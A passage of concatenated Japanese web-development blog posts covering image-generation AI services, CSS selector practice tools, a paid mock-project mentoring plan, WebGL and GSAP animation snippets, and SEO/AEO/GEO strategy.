3の後継。dall-e-3は2026年5月12日にAPIから停止済みで、公式の移行先がgpt-image-2。さらにgpt-image-1も2026年10月23日に停止予定のため、いま選ぶならgpt-image-2。指示への忠実さが持ち味。公式の料金ページで要確認（本記事では未確認）OpenAI 公式 DeprecationsNano Banana 2 / Nano Banana ProGoogleGemini APIのモデル一覧に「Stable」として掲載されている画像生成・編集モデル。Proは高精度、Liteは低遅延・低コストと段階が分かれる。Geminiのテキスト側と同じAPIから呼べる。公式の料金ページで要確認（本記事では未確認）Google DeepMind 公式 ／ Gemini API ModelsAdobe FireflyAdobe単一モデルではなくマルチモデル基盤に変質している。2026年4月15日の公式発表によれば、Fireflyは30以上のクリエイティブAIモデルを擁し、Google の Nano Banana 2 / Veo 3.1、Runway Gen-4.5、Kling 3.0 / 3.0 Omni、Luma AI Ray3.14、Black Forest Labs FLUX.2[pro]、ElevenLabs Multilingual v2 などを同じ画面から使える。Adobe自社の「commercially safe Firefly models」も併存する。料金およびIP補償の条件は本記事では未確認。Adobe公式で要確認Adobe 公式ニュースリリースFLUX系Black Forest Labsオープンウェイト配布とAPIの両方を提供。 ### [【2026年版】CSSセレクター練習サイト・ジェネレーター6選｜無料で手を動かして覚える](https://codequest.work/css-selector-learning-tools/) 結論：CSSセレクターを最短で習得するには、CSS DinerやCSS Battleなどのゲーム形式、CodePen・MDN Playgroundなどの実験場、CodeQuestの44セレクター対応ジェネレーターを組み合わせるのが効率的です。本記事では無料で使える練習サイト・ジェネレーター6選を、用途別に解説します。 CSSセレクターは、HTMLの「どの要素にスタイルを当てるか」を決めるCSSの心臓部です。しかし書き方を本で読むだけでは身につかず、実際に書いて結果を見ることでしか定着しません。 この記事では、ゲーム感覚で楽しく学べる定番ツールから、実務にそのまま応用できる本格的なエディタまで、無料で使えるCSSセレクター練習サイト・ジェネレーター6選を紹介します。初心者でも挫折せず続けられるよう、難易度・特徴・おすすめの使い方を整理しました。 CSSセレクターを練習するなら「手を動かす」が一番速い CSSセレクターの学習で多くの初学者がつまずくのは、「読んでわかる」と「書いて使える」のギャップです。.btn:hover や ul > li:first-child は読めば理解できても、いざ実装する場面では「あれ、どう書くんだっけ？」となります。 このギャップを埋める最短ルートが、練習サイトとジェネレーターを併用することです。ゲーム形式のツールで「セレクターは要素を指定する道具」という感覚を養い、ジェネレーターやエディタで「実際のHTML/CSSに反映される様子」を確認すれば、暗記ではなく直感で書けるようになります。 CSSセレクター練習サイト・ジェネレーター6選 ここから紹介する6つは、すべて無料・登録不要で使えます（CodePenのみ無料アカウントで保存可）。難易度順ではなく、用途別に並べているので、自分の目的に合うものから試してみてください。 1. CodeQuest CSSセレクタ辞典｜44種をブラウザで試して総ざらい（自社） URL：https://codequest.work/generator/css-selector/難易度：★☆☆☆☆〜★★★☆☆（44種類すべて網羅）特徴：日本語UI・登録不要。基本〜応用の44セレクターをブラウザ上で1つずつ試せます CodeQuestが提供する44種類のCSSセレクターに対応した辞典ツール。タイプ・class・id・属性・疑似クラス・疑似要素・フォーム状態まで、実務で使うほぼすべてのセレクターを1画面で切り替えながら試せます。セレクターを選ぶと一致した要素がデモ上でハイライトされ、ヒット数も表示されるので、:nth-child(3n) を :nth-child(2n+1) に変えたらどう変わるかといった比較検証に最適。スマホでは1カラムに切り替わるため、通勤・通学などPCが開けない隙間時間でも反復練習できます。 おすすめの使い方：まずカテゴリ順に44セレクターを総ざらいし、通勤・通学のスキマ時間はスマホで復習。1日5セレクターずつ確認すれば1ヶ月で全制覇できます。 44セレクターを今すぐ試す（無料） 2. CSS Diner｜ゲーム形式の定番（初心者の最初の1本） URL：https://flukeout.github.io/難易度：★☆☆☆☆（超初心者向け）学べるセレクター：32レベル分（タイプ・class・id・子孫・隣接・属性・疑似クラス） テーブル上の野菜や皿をセレクターで「指定して食べる」というユニークなゲーム。32レベルをクリアするだけで主要セレクターをひと通り体験できるのが最大の魅力です。HTMLのツリー構造とセレクターの関係が視覚的に理解できるため、「セレクター＝対象を指す住所」という感覚が自然に身につきます。 おすすめの使い方：1日10分、寝る前に1〜2レベルずつ進める。3週間で全32レベルクリアを目標に。 3. CSS Battle｜CSSコーディングバトル（中級者向け） URL：https://cssbattle.dev/難易度：★★★☆☆（中級者向け）学べる内容：セレクター＋プロパティ＋レイアウト総合 お題の画像をCSSだけで再現し、コードの短さ（バイト数）と画像の一致率を競う世界的に人気のサイト。セレクター単体だけでなく、「最小コードで最大効果」を狙う中で ::before や属性セレクターの組み合わせを自然に覚えられます。Twitterで「#CSSBattle」と検索すれば、世界中のコーダーの解法も学べます。 おすすめの使い方：CSS Dinerをクリアした後の次のステップに。1日1お題で、自分の解答と上位者の解答を見比べる。 4. CodePen｜自由なCSS実験場（実務直結） URL：https://codepen.io/難易度：★★☆☆☆（初〜上級者まで）特徴：HTML/CSS/JSを同一画面で編集・即プレビュー 世界中のフロントエンドエンジニアが利用するブラウザ上の統合開発環境。書いたコードはすぐにプレビューに反映され、SNSやブログで共有もできます。「あのアニメーションどう実装するの？」と気になったら、CodePenでキーワード検索すれば実装例（Pen）が大量に出てくるのも強み。セレクター練習だけでなく、CSS全般の学習プラットフォームとして長く使えます。 おすすめの使い方：覚えたセレクターを使ってミニUI（カード・ボタン・ナビ）を実装。完成したPenはポートフォリオにも活用可能。 5. MDN Playground｜公式ドキュメント直結（信頼性◎） URL：https://developer.mozilla.org/en-US/play難易度：★★☆☆☆（リファレンス併用）特徴：MDNの仕様ページから直接コードを試せる Mozilla公式が提供する仕様準拠のプレイグラウンド。MDNの各セレクター解説ページにある「Play」ボタンから、その場でサンプルコードを動かせます。「:nth-child() と :nth-of-type() の挙動を正確に確認したい」など、仕様レベルで理解したいときの第一選択。検索結果に出てくる古いブログ記事に惑わされたくない人にもおすすめです。 おすすめの使い方：新しいセレクター（例：:has()、:is()）を試すとき、まずMDNの該当ページから挙動を確認する。 6. W3Schools Tryit Editor｜初学者向けの完全ガイド付き URL：https://www.w3schools.com/css/tryit.asp難易度：★☆☆☆☆（初学者向け）特徴：解説とエディタが一体化 世界最大の入門学習サイトW3Schoolsの「Tryit Editor」。各セレクターの解説ページから直接エディタを開いて試せるのが特徴で、サンプルコードが豊富。英語サイトですが構文中心なので英語が苦手でも使いやすく、「いま読んでいる解説をすぐ手元で動かしたい」というニーズを完璧に満たしてくれます。 おすすめの使い方：「とりあえずCSS全部を一周したい」という初学者の最初の教科書として。 比較表で選ぶ：あなたに合う練習サイトは？ 6つのツールを「形式・難易度・向いている人」で整理しました。自分の目的に合うものを2〜3個組み合わせて使うのが、最短で身につけるコツです。 ツール形式難易度こんな人におすすめCSS Dinerゲーム★☆☆☆☆セレクター初体験・楽しく続けたいCSS Battle競技★★★☆☆中級者・コードの圧縮に挑戦したいCodePenエディタ★★☆☆☆実務で使う／作品を共有したいMDN Playground公式エディタ★★☆☆☆仕様レベルで正確に理解したいW3Schools Tryit学習一体型★☆☆☆☆解説を読みながら手を動かしたいCodeQuest CSSセレクタ辞典ジェネレーター★☆☆☆☆〜★★★☆☆44セレクターをまとめて総ざらいしたい 迷ったら、44種を網羅した当サイトのセレクタ辞典から始めるのが近道です。 ゼロから上達する学習ステップ（ゲーム→ジェネレーター→実プロジェクト） CSSセレクターの習熟は、「楽しい→正確→応用」の3段階で進めるのが王道です。途中で挫折しないよう、各段階でやることをはっきりさせておきましょう。 STEP 1：ゲームで「セレクター＝指定する道具」の感覚を掴む（1〜2週間） まずはCSS Dinerで全32レベルをクリアします。1日10分でOK。「タイプセレクター」「class」「子孫」「隣接」「属性」「疑似クラス」が体感で理解できるようになります。 STEP 2：ジェネレーター・エディタで「コード⇔表示」の対応を覚える（2〜3週間） 次にCodeQuestのジェネレーターまたはMDN Playgroundで、44種類のセレクターを実際に書いて表示を確認します。「コードを書く→ブラウザに反映される」というフィードバックループを高速で回すことが定着の鍵。 セレクターと並行してCSS全体の書き方も固めたい場合は、CSS基礎練習アプリ（24問）が使えます。問題ごとに用意されたHTMLへ書いたCSSがその場でプレビューへ反映されるので、セレクタや詳細度からFlexbox・Gridまで同じ画面で確認できます。 CSS基礎練習アプリ STEP 3：実プロジェクト・CodePenで「自分で組み立てる」（継続） 最後はCodePenでミニUI（カード・フォーム・ナビ）を実装し、覚えたセレクターを応用します。CSS Battleで圧縮にも挑戦すれば、無駄のないコードが書けるように。この段階に入ると、もうセレクターは「暗記するもの」ではなく「手が覚えているもの」になります。 練習中に詰まったら：CSSセレクター完全ガイドへ 練習中に「:nth-child と :nth-of-type の違いは？」「:is() や :has() って何が便利？」「詳細度ってどう計算する？」といった疑問が出てきたら、解説記事を読み返すのが最短です。 CodeQuestでは、CSSセレクタの全種類と詳細度・効かない時の対処法までまとめた完全ガイドを公開しています。練習サイトと併読することで、つまずきポイントを最速で潰せます。 👉 【完全保存版】CSSセレクタ一覧｜基本から応用まで実例付きで徹底解説 よくある質問（FAQ） Q. CSSセレクターを練習するなら、まずどのサイトから始めるべき？ 初学者はCSS Dinerから始めるのがおすすめです。ゲーム感覚で32レベルをクリアすると、タイプ・class・子孫・隣接・属性・疑似クラスの基本がひと通り体感で理解できます。所要時間は1〜2週間（1日10分）が目安です。 Q. CSS DinerとCSS Battleの違いは何ですか？ CSS Dinerはセレクターを使って「対象を指定する」基礎練習向け、CSS BattleはCSSコード全体を最短で書く競技サイトです。Dinerはセレクター入門、Battleはセレクター＋プロパティ＋レイアウトの総合力を試す中級者向けと位置付けると分かりやすいです。 Q. ジェネレーターとプレイグラウンドはどう使い分ければいい？ ジェネレーター（CodeQuest CSSセレクタ辞典）は「あらかじめ用意されたセレクターを切り替えて動作を確認する」のに向いており、初学者の最初の総ざらいに最適です。プレイグラウンド（CodePen / MDN Playground）は「自由にコードを書いて検証する」のに向いており、習熟後の応用や実案件の検証に使い分けます。 Q. スマホだけでCSSセレクターは練習できますか？ はい、可能です。CodeQuest CSSセレクタ辞典はスマホで1カラム表示に切り替わるため、画面の小さい端末でも快適に44種類のセレクターを確認できます。CSS DinerもスマホのSafari・Chromeで動作するので、通勤・通学時間の学習にも使えます。 ### [模擬案件プラン｜デザイン＋コーディングを計2回添削。優秀作品はサイト掲載](https://codequest.work/mock-lp-menta-plan/) 「ただの模写」では得られない、“実力試しの場”をつくりました ポートフォリオのLPを作っているけど、「この方向性で合ってるのかな……？」「ちゃんと実務でも通用するレベルだろうか？」 そんな不安を抱えていませんか？ この「模擬案件プラン」は、実案件に近い形での要件定義からスタートし、デザイン＋完成後の2回の添削を通して、自分の力を試せる実践型の学習機会です。 しかも、優秀作品はWeb制作学習メディア「CodeQuest.work」にて掲載！ ただ作るだけで終わらせない、挑戦型ポートフォリオ制作。このプランの詳細を、この記事でご紹介します。 MENTA模擬案件LPプラン このプランでできること ✅ 1. 実案件を意識した要件定義をもとにLPを制作 毎月出題される模擬案件は、実際のディレクション業務で作られてきた要件定義をベースにしています。キーワード・目的・構成の制約を読み取りながら、自らデザインと実装を行うことで、「考えて作る」練習ができます。 ✔️ 提供形式：NotionまたはPDFで共有✔️ 内容：クライアント概要、目的、訴求ポイント、構成のヒントなど ✅ 2. デザイン段階で1回、完成後にもう1回の添削フィードバック！ このプラン最大の特徴は、2回のフィードバックタイミングです。 🖌 1回目：デザイン案へのフィードバック デザインツール（Photoshop、Illustrator、XD、Figmaなど）で提出されたデザイン案に対して、現役ディレクターの視点から改善アドバイスを行います。 「構成は目的に沿っているか？」「余白・配色・強調が適切か？」「見出しと訴求が噛み合っているか？」など 💻 2回目：完成後（コーディング後）の総合添削 最終成果物を提出していただいた後、HTML/CSSの実装や構成の完成度をレビューします。「デザイン通りに再現できているか」「レスポンシブ対応」「アクセシビリティ」なども含めて、実務目線でフィードバックします。 MENTA模擬案件LPプラン 優秀作品はCodeQuestに掲載！ このプランで制作されたLPの中で、特に完成度の高い作品はWebメディア「CodeQuest.work」内の特設ページにて紹介いたします。 掲載例（予定）： 🧑‍💻 制作者名（ニックネーム可） 🌐 ポートフォリオサイト・SNSリンク 🖼 LPサムネイル＋公開URL 💡 デザインの工夫ポイントや講評 これは「自分の作品を外部に出す初めての機会」としても機能し、ポートフォリオ掲載実績として信頼感ある1本になります。 模写練習との違い 模写は「見本と同じものを作る」練習で、答えが目の前にあります。この模擬案件プランは要件定義しか渡されないので、構成もデザインも自分で決める必要があります。そこが最大の違いです。 模写練習模擬案件プラン渡されるもの完成見本要件定義（目的・訴求・制約）鍛えられる力再現力・実装力設計力・判断力正解見本と同じ正解はない（目的に沿っているかで評価）フィードバック基本なしデザイン段階＋完成後の2回 まだ実装に不安がある段階なら、先にHTML/CSS練習問題20選で手を動かすほうが近道です。「見本があれば作れる」状態になってから、この模擬案件に進むのが適切な順番です。 対象者とおすすめする人 このプランは、以下のような方におすすめです。 ✅ 独学でポートフォリオを作っているが、客観的なフィードバックを受けたことがない方 ✅ 実務レベルに通用するか確認したい中級者〜 ✅ ただの模写ではない、自分で設計から構築する練習がしたい方 ✅ Web制作会社やフリーランスとして案件を取る前に、スキルを磨きたい方 制作・提出の流れ お申し込み（MENTAプランから） 模擬案件の要件定義を共有（PDFまたはNotion） デザイン制作（Figmaなど）→ 1回目の添削 実装（HTML/CSS）→ 2回目の添削 優秀作品はCodeQuestに掲載（希望者のみ） 制作期限は21日以内を目安に 添削はチャットで対応 よくある質問（FAQ） Q. Figmaを使えなくても大丈夫ですか？ A. 実案件に沿って行うのでデザインツールでご提出ください。ご自身の使いやすいツールで構いません。（Photoshop、Illustrator、XD、Figmaなど） Q. ノーコードでもいいですか？ A. 基本的にはコーディングを推奨していますが、ノーコードでもテンプレート不使用であればOKです。 Q. 添削はどれくらい具体的にしてもらえますか？ A. チャットベースで、「何をどう改善すればよいか」を明確にお伝えします。必要に応じて参考画像・リンクもご提供します。 Q. 模写練習とはどう違いますか？ 模写は完成見本が渡され、それを再現する練習です。この模擬案件プランでは要件定義（目的・訴求ポイント・構成の制約）だけが渡され、構成もデザインも自分で決めます。鍛えられるのは再現力ではなく設計力と判断力です。まだ実装に不安がある段階なら、先に練習問題で手を動かしてから進むほうが近道になります。 Q. 制作にはどれくらいの期間が必要ですか？ 21日以内を目安にしています。デザイン制作から1回目の添削、実装から2回目の添削までを含めた期間です。添削はチャットで対応するため、まとまった時間を確保できない方でも進められます。なお模擬案件の要件は毎月変わります。 申し込み方法 このプランはMENTAで提供中です。料金は3,500円（税別・買い切り）。 添削は2回（デザイン＋コーディング）含まれており、コスパの高い実力試しプランとしてご好評いただいています。 ▶️ お申し込みはこちらから※要件は毎月変わります。「模擬案件×添削｜現役ディレクターがフィードバック！」で検索 MENTA模擬案件LPプラン おわりに｜あなたの“本気”を、作品として残してみませんか？ ポートフォリオは、「なんとなく作る」から「考えて作る」へとレベルを上げてこそ、評価されるアウトプットになります。 この模擬案件プランは、短期間でスキルチェック・添削・実績化までを一気に経験できる“実力試しの場”です。 迷っている方も、無料相談から気軽にお問い合わせください。あなたの作品がCodeQuestに掲載される日を、楽しみにしています。 ### [マウスストーカー炎アニメーション｜WebGLで作る流体エフェクト「火華」](https://codequest.work/webgl-fluid-fire-animation-kaka/) 『火華（かか）』｜WebGLとGLSLで描く、炎アニメーション ヒノカミのように、空間を赤く切り裂く。そんな演出を目指して制作したのが、今回ご紹介するWebアニメーション「火華（かか）」です。 マウスの動きに反応して、赤〜橙〜黄の炎が滑らかに揺らぎ、残像として画面に留まる。このアニメーションは、一般的なアニメーションライブラリ（GSAPなど）ではなく、WebGLとGLSL（シェーダー）によって描画されています。 なぜGSAPではなくWebGLなのか？ GSAPは、DOM要素やCSSプロパティのアニメーションに強力な力を発揮します。しかし今回のような「流体」「炎」「残像」といったピクセル単位の演出は、GPUによる直接描画が必要です。 そこで登場するのがWebGL（ブラウザで使えるOpenGL）と、シェーダーと呼ばれるGLSLコードです。この2つを用いることで、マウスの動きをリアルタイムに処理し、高速かつダイナミックな演出を可能にしています。 火華のコア：GLSLで描く炎の残像 このアニメーションでは、ユーザーのマウス移動を検出し、その軌跡に沿って「splat」と呼ばれる炎のようなエフェクトを描画しています。splatの色は赤を中心に、橙や黄色、そしてときおり白に近い光が混ざることで、よりリアルな「燃え」を再現。 特に注目したいのは、以下のシェーダーコードです。 vec3 splat = vec3( falloff * color.r * 1.0, // 赤は強く残す falloff * color.g * 0.5, // 緑は控えめ falloff * color.b * 0.2 // 青はほぼなし ); このように、赤成分の減衰を最も少なくすることで、炎の「輪郭」に赤が強く残るように設計しています。 codepen See the Pen 火華　kaka by masakazuimai (@masakazuimai) on CodePen. 参考コード：PavelDoGreat　この人すご。。。天才。。。 インタラクション：マウスで技を発動 このアニメーションは、マウスやタッチ操作に完全対応しています。 マウスを素早く動かすと、赤い炎が尾を引く ゆっくり動かすと、じわっと燃える 画面を大きく動くと、まるで刀を振るったかのような演出に また、コード内ではマウス移動ごとに色が揺らぐよう設計されており、同じ動きをしても炎の色味や勢いが毎回少しずつ違うのも特徴です。 WebGLでしかできない表現 この火華アニメーションで実現している「炎の自然な残像」「ゆらぎ」「粒子の合成感」は、CSSやJavaScriptのフレームワークでは到底再現できません。 理由は単純で、ピクセル単位で流体物理のようなシミュレーションをしているからです。 実際にコード内では以下のような処理が行われています。 velocity（速度場） density（色素の濃度） divergence（発散） pressure（圧力解決） curl（渦度） vorticity（渦の制御） これらを毎フレーム再計算し、画面に描画し続けることで「燃えるような軌跡」を表現しています。 拡張の可能性 このアニメーションは「基礎骨格」がしっかりしているため、演出を拡張することも可能です。 白い火花を一定確率で追加 火の尾を長く（SPLAT_RADIUSを増やす） フェードアウト時間を調整（DENSITY_DISSIPATION） クリックで爆発的なsplatを発生させる GSAPと連携してスクロールトリガーで発動 おわりに GSAPがアニメーションの世界を豊かにした一方で、WebGLはより本質的な“動き”や“自然現象”の再現に向いていると実感しました。 今回の「火華」は、そうしたWebGLの持つ“直感的に美しい動き”を活かしたアニメーションの1つです。ぜひブラウザで触れてみて、その炎の中に何かを感じていただけたら嬉しいです。 記事はふざけ気味でも、コードはちゃんと考えました・・・が、UIUX観点で普通に見にくいですのでちゃんと見やすいアニメーションに変更して使ってください。Webアニメーションに “熱” を込めたい方に、ぜひ試していただきたい技です。 よくある質問（FAQ） Q. WebGLとは何ですか？ WebGL（Web Graphics Library）は、ブラウザ上でGPUを使った2D/3Dグラフィックスを描画するJavaScript APIです。プラグインなしでハードウェアアクセラレーションを活用した高速な描画が可能で、ゲーム・データビジュアライゼーション・インタラクティブアートなどの分野で使用されます。Three.jsやPixi.jsなどのラッパーライブラリを通じて扱うのが一般的です。 Q. WebGLのFluid（流体）アニメーションの仕組みは？ ナビエ-ストークス方程式に基づく流体シミュレーションをGPUのフラグメントシェーダーで計算し、リアルタイムで描画します。マウスの動きを外力として入力し、速度場・圧力場・密度場を更新することで、マウスに追従する煙や炎のような流体表現を実現します。WebGLのフレームバッファを使ったピンポンバッファ技法が計算の核となります。 ### [GSAPで連続カード切り替え｜Ren-e（連絵）スクロールアニメ](https://codequest.work/gsap-rene-scroll-animation/) Rene（連絵）｜画像とテキストが連なって重なるGSAPアニメーション演出 はじめに Webページをスクロールすると、前の要素に次の要素が重なり、奥に沈んでいくように切り替わるアニメーション。それを画像とテキストのペアで実現したのが、今回ご紹介するRen-e（連絵）です。 GSAPとScrollTriggerを活用し、スクロール操作と連動するインタラクティブな演出をシンプルな構造で実装しています。視覚的な流れが美しく、ポートフォリオや商品紹介、コンセプトストーリーなど、表現性が求められる場面で活用できます。 アニメーションの構成 1枚のカードは「画像」と「テキスト」の2カラム構成。これを複数枚、同一座標上に重ねて配置しています。スクロールに連動して次のカードが下からスライドし、前のカードに完全に重なったあと、前のカードが奥にフェードアウトするようにアニメーションします。 前後の流れは以下のようになります： [カード1] → 中央に固定 → [カード2]が重なる → [カード1]が奥へ消える ↓ [カード2] → 中央に固定 → [カード3]が重なる → [カード2]が奥へ消える ↓ ... このように、カード同士が重なりながら切り替わる演出が連続して展開され、まるで一枚絵をつないで見せているような印象になります。 実装のポイント 1. HTML構造はシンプルな.cardの繰り返し <div class="card-wrapper"> <div class="card"> <img src="..." class="image" /> <div class="text"> <h2>タイトル</h2> <p>説明テキスト</p> </div> </div> <!-- 複数枚 --> </div> .card内の画像とテキストを左右に並べ、左右の表示順を交互に変えることで視線誘導にリズムを加えています。 2. stickyとabsoluteを併用し、切り替えに奥行きを .card-wrapperはposition: stickyを使ってビューポート中央に固定されるようにし、.cardはposition: absoluteで同一座標に重ねています。 これにより、スクロール時に「見た目はそのままだけど内容が入れ替わる」ような滑らかな切り替えが実現できます。 3. GSAPのScrollTriggerで2段階アニメーション制御 前のカードに重なる：yPercent: 0 前のカードを沈ませる：scale, y, opacity, z tl.to(next, { yPercent: 0, duration: 1 }); tl.to(current, { y: -100, opacity: 0.5, scale: 0.85, duration: 0.4 }, 1.5); tl.to(current, { y: 200, z: -500, opacity: 0, duration: 0.8 }, 1.9); 完全に重なった後に奥へ沈む動きがこのタイミング調整で作られています。 CodePen See the Pen Untitled by masakazuimai (@masakazuimai) on CodePen. 活用のアイデアと応用 画像とテキストをストーリー形式で見せたいときに最適 コンセプト紹介やヒストリー表示に活用できる テキストエリアにアイコンやCTAボタンを追加することで、実用性も向上 アニメーションのタイミングやscale値を変えるだけで、印象をガラッと変えられる おわりに この「Rene（連絵）」は、視覚的な美しさとユーザーの体験をつなぐ演出として非常に汎用性の高いアニメーションです。ScrollTrigger × stickyの発想を応用することで、さまざまな演出に発展させられます。 ぜひ、自身のWeb制作やポートフォリオに取り入れてみてください。 よくある質問（FAQ） Q. GSAPのReneスクロールアニメーションとは？ アートギャラリーのような美しいスクロール演出で、画像やセクションがスクロールに連動して拡大・縮小・パララックスなどの効果で切り替わるアニメーションです。GSAPのScrollTriggerのpinningとscrub機能を組み合わせ、セクションを固定しながらコンテンツを順番に表示するインタラクティブな体験を作成します。 Q. ScrollTriggerのpin機能とは何ですか？ pin: trueを設定すると、スクロールトリガーが発動している間、指定した要素がビューポートに固定（ピン留め）されます。ピン留めされた要素上でアニメーションが進行し、アニメーション完了後にスクロールが再開されます。フルスクリーンセクションのアニメーションやストーリーテリング型のページ演出に多用されるテクニックです。 ### [SEO・AEO・GEOの投資配分｜3軸をどう組み合わせるかの設計手順](https://codequest.work/seo-aeo-geo-strategy/) SEO・AEO・GEOの違いを調べて理解したあと、必ず次の壁にぶつかります。「で、どれにどれだけ手をかければいいのか」です。結論から言うと、3軸は並列に投資するものではありません。SEOが土台で、AEOとGEOはその上に乗る層です。 この記事は「3軸への配分をどう決めるか」に絞って解説します。用語そのものの定義や違いの比較はAIO・AEO・GEO・LLMOとは？違いと実践的な最適化方法にまとめてあるので、そちらを先に読んでから戻ってきてください。 3軸は並列ではなく積層である 「SEOはもう古い、これからはGEOだ」という論調をよく見かけますが、実務では成立しません。AIに引用されるには、まずAIがそのページを見つけて読める必要があるからです。 下の層が壊れていると上の層は機能しない 3軸を積層構造として捉えると、投資の順番が自動的に決まります。 層担うものここが欠けると起きること1階層目：SEOクロール・インデックス・技術的な土台そもそも検索にもAIにも認識されない2階層目：AEO問いに対する明確な答えの提示認識されても「答え」として抜き出されない3階層目：GEO生成AIが引用したくなる独自性・信頼性抜き出されても出典として選ばれない つまりGEOだけを頑張っても、インデックスされていなければゼロです。逆にSEOだけを完璧にしても、答えが書いていないページはAI検索の時代に引用されません。下から順に埋めるのが唯一の正しい順序です。 配分の出発点は「7:2:1」 迷ったときの初期配分です。ここから自サイトの状況に応じて動かします。 状況SEOAEOGEO理由立ち上げ〜1年未満721まずインデックスと基礎順位。上物は後順位は付くがクリックが少ない361答えが抜き出せる形になっていない指名検索・実績がある334引用元として選ばれる余地が大きいYMYL領域433信頼性の担保に配分を厚くする この数字は絶対値ではなく「どこに時間を使うか」の相対比です。重要なのは、状況によって答えが変わるという点を受け入れることです。 自分のサイトの配分を決める3つの判定 上の表から自分の行を選ぶために、3つ判定します。すべてSearch Consoleと自サイトを見れば5分で判定できます。 判定1｜インデックスされているか Search Consoleの「ページ」レポートで、インデックス済みページ数と公開ページ数を比べます。インデックス率が8割を切っているなら、AEOやGEOに手を出す段階ではありません。SEOに7割振ってください。 「クロール済み・未インデックス」が多い場合は、コンテンツの薄さか重複が原因のことが多いです。上物を積む前にここを潰します。 判定2｜表示はあるのにクリックされていないか Search Consoleで表示回数が多いのにクリック率が極端に低いページを探します。順位が10位以内なのにクリックが取れていないなら、AI Overviewやリッチリザルトに答えを持っていかれている可能性が高い状態です。 この場合はAEOに配分を寄せます。答えを冒頭に置き、見出しを問いの形にし、表やリストで抜き出しやすくする——順位を上げるのではなく「抜き出される形」に変える作業です。 判定3｜他にない情報を持っているか 自分で計測した数値、現場の失敗談、独自ツールの出力——これらを持っているならGEOの配分を上げる価値があります。生成AIは要約できる情報より、他所にない情報を引用元として選ぶためです。 逆に一般論しか書けないテーマでGEOに投資しても回収できません。その場合はSEOとAEOで着実に取るほうが現実的です。信頼性そのものの設計はE-E-A-Tの正確な位置づけと実装で担保できる範囲を参照してください。 各層で実際に何を実装するか 配分が決まったら実装です。層ごとに作業の性質が違うので、混ぜずに進めてください。 SEO層｜見つけてもらう・読んでもらう インデックス状況の確認と、未インデックスページの原因潰し 見出し階層（h1→h2→h3）を論理的に整える タイトル・メタディスクリプションの整備 内部リンクでトピックを束ねる 表示速度とモバイル対応 この層は技術作業が中心で、やれば確実に効きます。見出しとメタの具体はh1〜h6見出しタグの正しい使い方とmeta descriptionの書き方ガイドにまとめています。 AEO層｜答えとして抜き出される形にする 冒頭に直接回答を置く（検索意図に対する結論を1〜2文で） 見出しを問いの形にする（「〜とは」「〜する方法」） 比較・判断は表に、手順は番号付きリストにする FAQを設置し、FAQPageの構造化データを付ける 1つの見出しの下で話題を混ぜない（抜き出し単位を明確にする） この層は編集作業です。既存記事の構成を組み替えるだけで効くことが多く、新規執筆より費用対効果が高くなります。 GEO層｜引用元として選ばれる 自分で計測した数値・検証結果を載せる（他所にない情報） 数値や主張に一次情報の出典リンクを添える 著者と運営者を明示し、構造化データで機械可読にする 更新日を正確に出し、古い情報を放置しない 用語の定義とFAQを明文化し、機械が読み取れる形にする（llms.txtは効果が未確認のため後回しでよい） この層は一次情報の生産が本体で、最も時間がかかります。だからこそ、下2層が整っていない段階で手を出すと消耗します。llms.txtを置くべきかの判断材料はAIに自社サイトを正しく認識させる方法、AI検索特有のクエリ分散への対応はクエリファンアウトとは？で扱っています。 【検証】配分が正しかったかを測る 配分を変えたら、層ごとに違う指標で測ります。全部まとめて「順位が上がったか」で見ると、何が効いたか分かりません。 層別の指標と合否ライン 層見る指標合否ライン測る場所SEOインデックス済みページ数／表示回数インデックス率8割超・表示回数が増えているSearch Console「ページ」「検索パフォーマンス」AEO同じ順位帯でのクリック率順位が横ばいでもCTRが上がっているSearch Console（順位を固定して比較）GEO生成AI経由の参照流入AI検索サービスからの参照が発生しているGA4の参照元／被リンク AEOの合否ラインが「順位が横ばいでもCTRが上がっている」である点が重要です。答えを抜き出しやすい形に変えても順位は動かないことが多く、順位で判定すると「効果なし」と誤判定します。 動かなかった場合の切り分け 症状疑うこと次の一手表示回数が増えないSEO層が未達（インデックス・内部リンク不足）配分をSEOへ戻す。未インデックスページを潰す表示は増えたがCTRが動かない答えの位置が深い／タイトルと中身がズレている冒頭に直接回答を置く。見出しを問いの形へCTRは上がったがAI経由の参照がない一次情報がなく引用対象にならない自分で計測した数値や検証結果を追加するどれも動かないそもそも検索需要がないキーワード選定に戻る。配分の問題ではない SEO層の実装状況はDirebase（ディレベース）で診断できます 配分でやりがちな失敗 新しい概念が出てくると、配分を誤る典型的なパターンがあります。 土台が未完成のままGEOに飛びつく 最も多い失敗です。インデックスされていないページは、生成AIにも読まれていません。「AIに引用される記事の書き方」を実践する前に、Search Consoleでインデックス状況を確認してください。土台が抜けたまま上物を積んでも、成果は出ません。 3軸を別々の施策として並行させる 「SEO担当」「AEO担当」を分けるような進め方は、同じページを別々の意図で編集することになり衝突します。3軸は同じページに対して重ねる層なので、ページ単位で順に仕上げるほうが早く終わります。 配分を一度決めて固定する 配分はサイトの状態によって変わります。立ち上げ期に7:2:1で正しかった配分は、順位が付いた時点で間違いになります。四半期に一度は判定をやり直し、配分を組み替えてください。固定した瞬間に、伸びしろのある層を放置することになります。 まとめ 3軸の違いを理解することと、どこに時間を使うかを決めることは別の作業です。 3軸は並列ではなくSEO→AEO→GEOの積層。下から埋める 迷ったら7:2:1から始め、状況に応じて組み替える 判定は3つ：インデックス率／表示に対するCTR／一次情報の有無 SEO層は技術作業、AEO層は編集作業、GEO層は一次情報の生産 AEOの効果は順位ではなくCTRで測る（順位で見ると誤判定する） 配分は固定しない。四半期ごとに判定をやり直す まずSearch Consoleでインデックス率を確認してください。8割を切っていたら、GEOの記事を読むのは後回しでいい——それが今日の結論です。 よくある質問（FAQ） Q. SEO・AEO・GEOはどの順番で取り組むべきですか？ SEO→AEO→GEOの順です。3軸は並列の選択肢ではなく積層構造で、下の層が欠けていると上の層は機能しません。インデックスされていないページは生成AIにも読まれないため、GEOだけを頑張っても成果はゼロになります。まずSearch Consoleでインデックス状況を確認し、8割を切っているならSEO層の作業に集中してください。 Q. 3軸にどのくらいの比率で時間を使えばよいですか？ 立ち上げから1年未満ならSEO7・AEO2・GEO1が出発点です。順位は付いているのにクリックが少ないならAEOに寄せて3:6:1、指名検索や実績があるならGEOを厚くして3:3:4が目安になります。この数字は絶対値ではなく「どこに時間を使うか」の相対比です。四半期ごとに判定をやり直して組み替えてください。 Q. AEO対策の効果はどうやって測りますか？ 順位ではなくクリック率で測ります。答えを抜き出しやすい形に変えても順位はほとんど動かないため、順位で判定すると「効果なし」と誤判定します。Search 